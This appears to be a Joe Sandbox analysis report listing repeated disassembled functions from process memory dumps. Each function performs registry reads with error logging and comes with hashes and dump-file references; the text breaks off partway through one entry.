API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: 0aa8db09fb7bc194bfe922522c43b0ee662879c6bd362265d23314251f3a506b
Instruction ID: ecbd25a366671243d9f9607521306dbf0e546827534710a4a49635a1f613f177
Opcode Fuzzy Hash: 0aa8db09fb7bc194bfe922522c43b0ee662879c6bd362265d23314251f3a506b
Instruction Fuzzy Hash: 1FF0C892E0C68681F5538F20FD413B52154BF46794F440135DD1DCA2A0DFADED49C300

Function 00007FFB23AB9E08 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FFB23AB9D9D

Part of subcall function 00007FFB23AB2072: fwrite.MSVCRT ref: 00007FFB23AB211E
Part of subcall function 00007FFB23AB2072: fflush.MSVCRT ref: 00007FFB23AB212A

Strings

registry_get_value, xrefs: 00007FFB23AB9DE6
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FFB23AB9DED

Memory Dump Source

Source File: 0000001D.00000002.2208866783.00007FFB23AB1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FFB23AB0000, based on PE: true

Associated: 0000001D.00000002.2208840934.00007FFB23AB0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208893229.00007FFB23AC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208920156.00007FFB23AC8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208953322.00007FFB23ACB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208975635.00007FFB23ACC000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23ab0000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: 9a2de95ffd5d781e6813de5ef751d9da9c96fa48fc425b1bbe8cd7e8830a080e
Instruction ID: fa799de564ea5a7d3e264217689a6fca2cd97336d468a3a0670d0b24a4862248
Opcode Fuzzy Hash: 9a2de95ffd5d781e6813de5ef751d9da9c96fa48fc425b1bbe8cd7e8830a080e
Instruction Fuzzy Hash: 95F0F6A270838A42E5538F20FC403BD3265BF567A4F0C037AED5D566A5EF2DDD898300

Function 00007FFB23AB9D8C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FFB23AB9D9D

Part of subcall function 00007FFB23AB2072: fwrite.MSVCRT ref: 00007FFB23AB211E
Part of subcall function 00007FFB23AB2072: fflush.MSVCRT ref: 00007FFB23AB212A

Strings

registry_get_value, xrefs: 00007FFB23AB9DE6
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FFB23AB9DED

Memory Dump Source

Source File: 0000001D.00000002.2208866783.00007FFB23AB1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FFB23AB0000, based on PE: true

Associated: 0000001D.00000002.2208840934.00007FFB23AB0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208893229.00007FFB23AC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208920156.00007FFB23AC8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208953322.00007FFB23ACB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208975635.00007FFB23ACC000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23ab0000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: 9c0b5fabe127716bf8518f75c5551f6d0a8f072a3ba3e7517ce0fd91c10b36ff
Instruction ID: 78add615347c9082d6e157b51bc109ac50ee64a0b2fe886c8867ebecb58c5413
Opcode Fuzzy Hash: 9c0b5fabe127716bf8518f75c5551f6d0a8f072a3ba3e7517ce0fd91c10b36ff
Instruction Fuzzy Hash: 3DF0F6A270828A42E5538F20FC403BD7265BF567A4F0C027AED1DA66A5EF2DDD458700

Function 00007FFB23AB9D7E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FFB23AB9D9D

Part of subcall function 00007FFB23AB2072: fwrite.MSVCRT ref: 00007FFB23AB211E
Part of subcall function 00007FFB23AB2072: fflush.MSVCRT ref: 00007FFB23AB212A

Strings

registry_get_value, xrefs: 00007FFB23AB9DE6
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FFB23AB9DED

Memory Dump Source

Source File: 0000001D.00000002.2208866783.00007FFB23AB1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FFB23AB0000, based on PE: true

Associated: 0000001D.00000002.2208840934.00007FFB23AB0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208893229.00007FFB23AC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208920156.00007FFB23AC8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208953322.00007FFB23ACB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208975635.00007FFB23ACC000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23ab0000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: ca6dd569a177849d8c2a45a9408bc3dfce42c36ed4bcb66d60c5af44c99c8d6a
Instruction ID: f0f1e8eae3843e3b76722991e093c804c8510e52fdf3b1df78c4d35cc33a264d
Opcode Fuzzy Hash: ca6dd569a177849d8c2a45a9408bc3dfce42c36ed4bcb66d60c5af44c99c8d6a
Instruction Fuzzy Hash: 54F0F6A270828A42E5538F20FC403BD3265BF567A4F0C027AED1D662A5EF2DDE458300

Function 00007FFB23AB9CF7 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FFB23AB9D9D

Part of subcall function 00007FFB23AB2072: fwrite.MSVCRT ref: 00007FFB23AB211E
Part of subcall function 00007FFB23AB2072: fflush.MSVCRT ref: 00007FFB23AB212A

Strings

registry_get_value, xrefs: 00007FFB23AB9DE6
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FFB23AB9DED

Memory Dump Source

Source File: 0000001D.00000002.2208866783.00007FFB23AB1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FFB23AB0000, based on PE: true

Associated: 0000001D.00000002.2208840934.00007FFB23AB0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208893229.00007FFB23AC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208920156.00007FFB23AC8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208953322.00007FFB23ACB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208975635.00007FFB23ACC000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23ab0000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: 864bd6950e4dc7ead035f6458e2f111194ad25b06bbe2de8fa939e0b9dfb6e44
Instruction ID: 62d1ebb02e77a0697f5662aa9421b33f6b44b1ac79ae0d90b6d26d7efa2604be
Opcode Fuzzy Hash: 864bd6950e4dc7ead035f6458e2f111194ad25b06bbe2de8fa939e0b9dfb6e44
Instruction Fuzzy Hash: 3CF0F6A270828A42E5538F20FC403BD3265BF567A4F0C027AED1D662E5EF2DD9498300

Function 00007FFB23AB9CED Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FFB23AB9D9D

Part of subcall function 00007FFB23AB2072: fwrite.MSVCRT ref: 00007FFB23AB211E
Part of subcall function 00007FFB23AB2072: fflush.MSVCRT ref: 00007FFB23AB212A

Strings

registry_get_value, xrefs: 00007FFB23AB9DE6
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FFB23AB9DED

Memory Dump Source

Source File: 0000001D.00000002.2208866783.00007FFB23AB1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FFB23AB0000, based on PE: true

Associated: 0000001D.00000002.2208840934.00007FFB23AB0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208893229.00007FFB23AC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208920156.00007FFB23AC8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208953322.00007FFB23ACB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208975635.00007FFB23ACC000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23ab0000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: 3d58607ea008f735c35aa192c444d383010a86a802efbfec2a893f784aca3acb
Instruction ID: 9b16a3d32d18a3ddf47429bd2b3b80279fbb6e88bdb4f7c21954e0fea0fc56d2
Opcode Fuzzy Hash: 3d58607ea008f735c35aa192c444d383010a86a802efbfec2a893f784aca3acb
Instruction Fuzzy Hash: 94F0F6A270838A42E5538F20FC403BD3265BF567A5F0C037AED1D662A5EF2DDD458300

Function 00007FFB23B0D728 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FFB23B0D6BD

Part of subcall function 00007FFB23B077A2: fwrite.MSVCRT ref: 00007FFB23B0784E
Part of subcall function 00007FFB23B077A2: fflush.MSVCRT ref: 00007FFB23B0785A

Strings

[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FFB23B0D70D
registry_get_value, xrefs: 00007FFB23B0D706

Memory Dump Source

Source File: 0000001D.00000002.2209181785.00007FFB23B01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFB23B00000, based on PE: true

Associated: 0000001D.00000002.2209162006.00007FFB23B00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209208855.00007FFB23B13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209231667.00007FFB23B14000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209254886.00007FFB23B1D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209280482.00007FFB23B20000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209306282.00007FFB23B21000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209326411.00007FFB23B24000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23b00000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: 793e0c06394bda39ac92b5b5c5c85dbcebae374f34c8edb7e19317ab693b0827
Instruction ID: a8b092058e6706f44141431876f4562d872c1b997600ee47bc489bcf21cb40ba
Opcode Fuzzy Hash: 793e0c06394bda39ac92b5b5c5c85dbcebae374f34c8edb7e19317ab693b0827
Instruction Fuzzy Hash: 2AF062AAA0978645E5539F20FCC837D7254BF847A4F4C02BADDCD566E0DF2ED9899300

Function 00007FFB23B0D69E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FFB23B0D6BD

Part of subcall function 00007FFB23B077A2: fwrite.MSVCRT ref: 00007FFB23B0784E
Part of subcall function 00007FFB23B077A2: fflush.MSVCRT ref: 00007FFB23B0785A

Strings

[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FFB23B0D70D
registry_get_value, xrefs: 00007FFB23B0D706

Memory Dump Source

Source File: 0000001D.00000002.2209181785.00007FFB23B01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFB23B00000, based on PE: true

Associated: 0000001D.00000002.2209162006.00007FFB23B00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209208855.00007FFB23B13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209231667.00007FFB23B14000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209254886.00007FFB23B1D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209280482.00007FFB23B20000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209306282.00007FFB23B21000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209326411.00007FFB23B24000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23b00000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: ba60c0eeebc9909acabafbc74b0171f350c187111526e5ed3bc653bc3641c014
Instruction ID: 4a91b7cb41a24bd193c02f9adf8e4914944ba2fc090796da43ca191683dec4cf
Opcode Fuzzy Hash: ba60c0eeebc9909acabafbc74b0171f350c187111526e5ed3bc653bc3641c014
Instruction Fuzzy Hash: 35F062AAA0978645E5539F20FCC837D7254AF847A4F4C02BADDCD566E0DF2ED9899300

Function 00007FFB23B0D6AC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FFB23B0D6BD

Part of subcall function 00007FFB23B077A2: fwrite.MSVCRT ref: 00007FFB23B0784E
Part of subcall function 00007FFB23B077A2: fflush.MSVCRT ref: 00007FFB23B0785A

Strings

[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FFB23B0D70D
registry_get_value, xrefs: 00007FFB23B0D706

Memory Dump Source

Source File: 0000001D.00000002.2209181785.00007FFB23B01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFB23B00000, based on PE: true

Associated: 0000001D.00000002.2209162006.00007FFB23B00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209208855.00007FFB23B13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209231667.00007FFB23B14000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209254886.00007FFB23B1D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209280482.00007FFB23B20000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209306282.00007FFB23B21000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209326411.00007FFB23B24000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23b00000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: 645d1527fcc94dacee6c82b3b067b51981330b18ca1c279f9a6258edabb6e225
Instruction ID: 27b1a35175c3f3aef65a4127b5aa1563cd1ec5182ba935811594a88f9037898b
Opcode Fuzzy Hash: 645d1527fcc94dacee6c82b3b067b51981330b18ca1c279f9a6258edabb6e225
Instruction Fuzzy Hash: A3F06896A0978645E5539F10FCC837D7254AF84794F4C027ADDCD566D0DF2DD9859300

Function 00007FFB23B0D60D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FFB23B0D6BD

Part of subcall function 00007FFB23B077A2: fwrite.MSVCRT ref: 00007FFB23B0784E
Part of subcall function 00007FFB23B077A2: fflush.MSVCRT ref: 00007FFB23B0785A

Strings

[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FFB23B0D70D
registry_get_value, xrefs: 00007FFB23B0D706

Memory Dump Source

Source File: 0000001D.00000002.2209181785.00007FFB23B01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFB23B00000, based on PE: true

Associated: 0000001D.00000002.2209162006.00007FFB23B00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209208855.00007FFB23B13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209231667.00007FFB23B14000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209254886.00007FFB23B1D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209280482.00007FFB23B20000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209306282.00007FFB23B21000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209326411.00007FFB23B24000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23b00000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: 3f3e9f13db814c0e2eddc2cc6fc2c918ecb322e3b6fefbba951b30a01dba914a
Instruction ID: 5ee551cd381d2a0d47b10bbf14e2b87d13ebe6c1882688188a3dc0161c690f77
Opcode Fuzzy Hash: 3f3e9f13db814c0e2eddc2cc6fc2c918ecb322e3b6fefbba951b30a01dba914a
Instruction Fuzzy Hash: 68F0C2AAA0838645E5539F20FCC837D7254AF847A4F4C02BADDCD566E0DF2ED9898300

Function 00007FFB23B0D617 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FFB23B0D6BD

Part of subcall function 00007FFB23B077A2: fwrite.MSVCRT ref: 00007FFB23B0784E
Part of subcall function 00007FFB23B077A2: fflush.MSVCRT ref: 00007FFB23B0785A

Strings

[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FFB23B0D70D
registry_get_value, xrefs: 00007FFB23B0D706

Memory Dump Source

Source File: 0000001D.00000002.2209181785.00007FFB23B01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFB23B00000, based on PE: true

Associated: 0000001D.00000002.2209162006.00007FFB23B00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209208855.00007FFB23B13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209231667.00007FFB23B14000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209254886.00007FFB23B1D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209280482.00007FFB23B20000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209306282.00007FFB23B21000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209326411.00007FFB23B24000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23b00000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: ad6dc318234a6ca7b9f96324ecb256219030cf028fffc5692afb1fc5e428420e
Instruction ID: d34d752c0b201d5ae302edda61f187ebd73eaba015835b1d65eec9e65abcf0f5
Opcode Fuzzy Hash: ad6dc318234a6ca7b9f96324ecb256219030cf028fffc5692afb1fc5e428420e
Instruction Fuzzy Hash: A9F062AAA0978645E5539F20FCC837D7254BF847A4F4C02BADDCD566E0DF2ED9899300

Function 00007FFB227036BC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FFB227036CD

Part of subcall function 00007FFB227040D2: fwrite.MSVCRT ref: 00007FFB2270417E
Part of subcall function 00007FFB227040D2: fflush.MSVCRT ref: 00007FFB2270418A

Strings

[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FFB2270371D
registry_get_value, xrefs: 00007FFB22703716

Memory Dump Source

Source File: 0000001D.00000002.2208390764.00007FFB22701000.00000020.00000001.01000000.00000010.sdmp, Offset: 00007FFB22700000, based on PE: true

Associated: 0000001D.00000002.2208361583.00007FFB22700000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208422394.00007FFB22714000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208448902.00007FFB2271D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208474915.00007FFB22720000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208502995.00007FFB22721000.00000008.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22700000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: 4cdc5e3ca1b6e8c1ccd9852d3d235b625d1b8f513883a819eeac8d32ad1ddb33
Instruction ID: 7b8d6aa6c68b2e89e66c2cc729295d9a444eeab620a9db52477f78cc97997c08
Opcode Fuzzy Hash: 4cdc5e3ca1b6e8c1ccd9852d3d235b625d1b8f513883a819eeac8d32ad1ddb33
Instruction Fuzzy Hash: 23F04FA2A0C68A42F5578F20FC453796254AF46794F440276DD5DCA6A0DEADDE499300

Function 00007FFB227036AE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FFB227036CD

Part of subcall function 00007FFB227040D2: fwrite.MSVCRT ref: 00007FFB2270417E
Part of subcall function 00007FFB227040D2: fflush.MSVCRT ref: 00007FFB2270418A

Strings

[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FFB2270371D
registry_get_value, xrefs: 00007FFB22703716

Memory Dump Source

Source File: 0000001D.00000002.2208390764.00007FFB22701000.00000020.00000001.01000000.00000010.sdmp, Offset: 00007FFB22700000, based on PE: true

Associated: 0000001D.00000002.2208361583.00007FFB22700000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208422394.00007FFB22714000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208448902.00007FFB2271D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208474915.00007FFB22720000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208502995.00007FFB22721000.00000008.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22700000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: 6ab44bd64b2a220bb394d404525dd54336578513e0fa4932583d788d14353f37
Instruction ID: 0fbd03b4fb2fa15fba3eb090749369c6a6c2614918ea5bf58cec6215737142e0
Opcode Fuzzy Hash: 6ab44bd64b2a220bb394d404525dd54336578513e0fa4932583d788d14353f37
Instruction Fuzzy Hash: B4F04FA2A0C68A41F5578F20FC453796258AF46794F440276DD5DCA6A0DEADDE499300

Function 00007FFB22703738 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FFB227036CD

Part of subcall function 00007FFB227040D2: fwrite.MSVCRT ref: 00007FFB2270417E
Part of subcall function 00007FFB227040D2: fflush.MSVCRT ref: 00007FFB2270418A

Strings

[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FFB2270371D
registry_get_value, xrefs: 00007FFB22703716

Memory Dump Source

Source File: 0000001D.00000002.2208390764.00007FFB22701000.00000020.00000001.01000000.00000010.sdmp, Offset: 00007FFB22700000, based on PE: true

Associated: 0000001D.00000002.2208361583.00007FFB22700000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208422394.00007FFB22714000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208448902.00007FFB2271D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208474915.00007FFB22720000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208502995.00007FFB22721000.00000008.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22700000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: 894afd399b8e7e0328f991e42cbcb520a966ad9fd02cacbcf9a430dccb6c0c06
Instruction ID: 6f3087a232d090650dc681910924efc38333b341d30b858489c2593fa2ab3263
Opcode Fuzzy Hash: 894afd399b8e7e0328f991e42cbcb520a966ad9fd02cacbcf9a430dccb6c0c06
Instruction Fuzzy Hash: 1CF04FA2A0C68A41F6578F20EC453796294BF46794F480275DD5DCA6A0DEADDE8D9300

Function 00007FFB22703627 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FFB227036CD

Part of subcall function 00007FFB227040D2: fwrite.MSVCRT ref: 00007FFB2270417E
Part of subcall function 00007FFB227040D2: fflush.MSVCRT ref: 00007FFB2270418A

Strings

[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FFB2270371D
registry_get_value, xrefs: 00007FFB22703716

Memory Dump Source

Source File: 0000001D.00000002.2208390764.00007FFB22701000.00000020.00000001.01000000.00000010.sdmp, Offset: 00007FFB22700000, based on PE: true

Associated: 0000001D.00000002.2208361583.00007FFB22700000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208422394.00007FFB22714000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208448902.00007FFB2271D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208474915.00007FFB22720000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208502995.00007FFB22721000.00000008.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22700000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: 44ad8aaefd962aaa4904b7276fbaa43ed952a9a48d0d7d28a64918699caf23e8
Instruction ID: 3860dbd1cd2282e1871d6e62cd7273e74a3e60b2e26aa30eb9225327a113e9c4
Opcode Fuzzy Hash: 44ad8aaefd962aaa4904b7276fbaa43ed952a9a48d0d7d28a64918699caf23e8
Instruction Fuzzy Hash: 73F04FA2A0C68A41F5578F20FC453796254BF46794F440275DD5DCA6E0DEADDE4D9300

Function 00007FFB2270361D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FFB227036CD

Part of subcall function 00007FFB227040D2: fwrite.MSVCRT ref: 00007FFB2270417E
Part of subcall function 00007FFB227040D2: fflush.MSVCRT ref: 00007FFB2270418A

Strings

[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FFB2270371D
registry_get_value, xrefs: 00007FFB22703716

Memory Dump Source

Source File: 0000001D.00000002.2208390764.00007FFB22701000.00000020.00000001.01000000.00000010.sdmp, Offset: 00007FFB22700000, based on PE: true

Associated: 0000001D.00000002.2208361583.00007FFB22700000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208422394.00007FFB22714000.00000002.00000001.01000000.00000010.sdmpDownload File
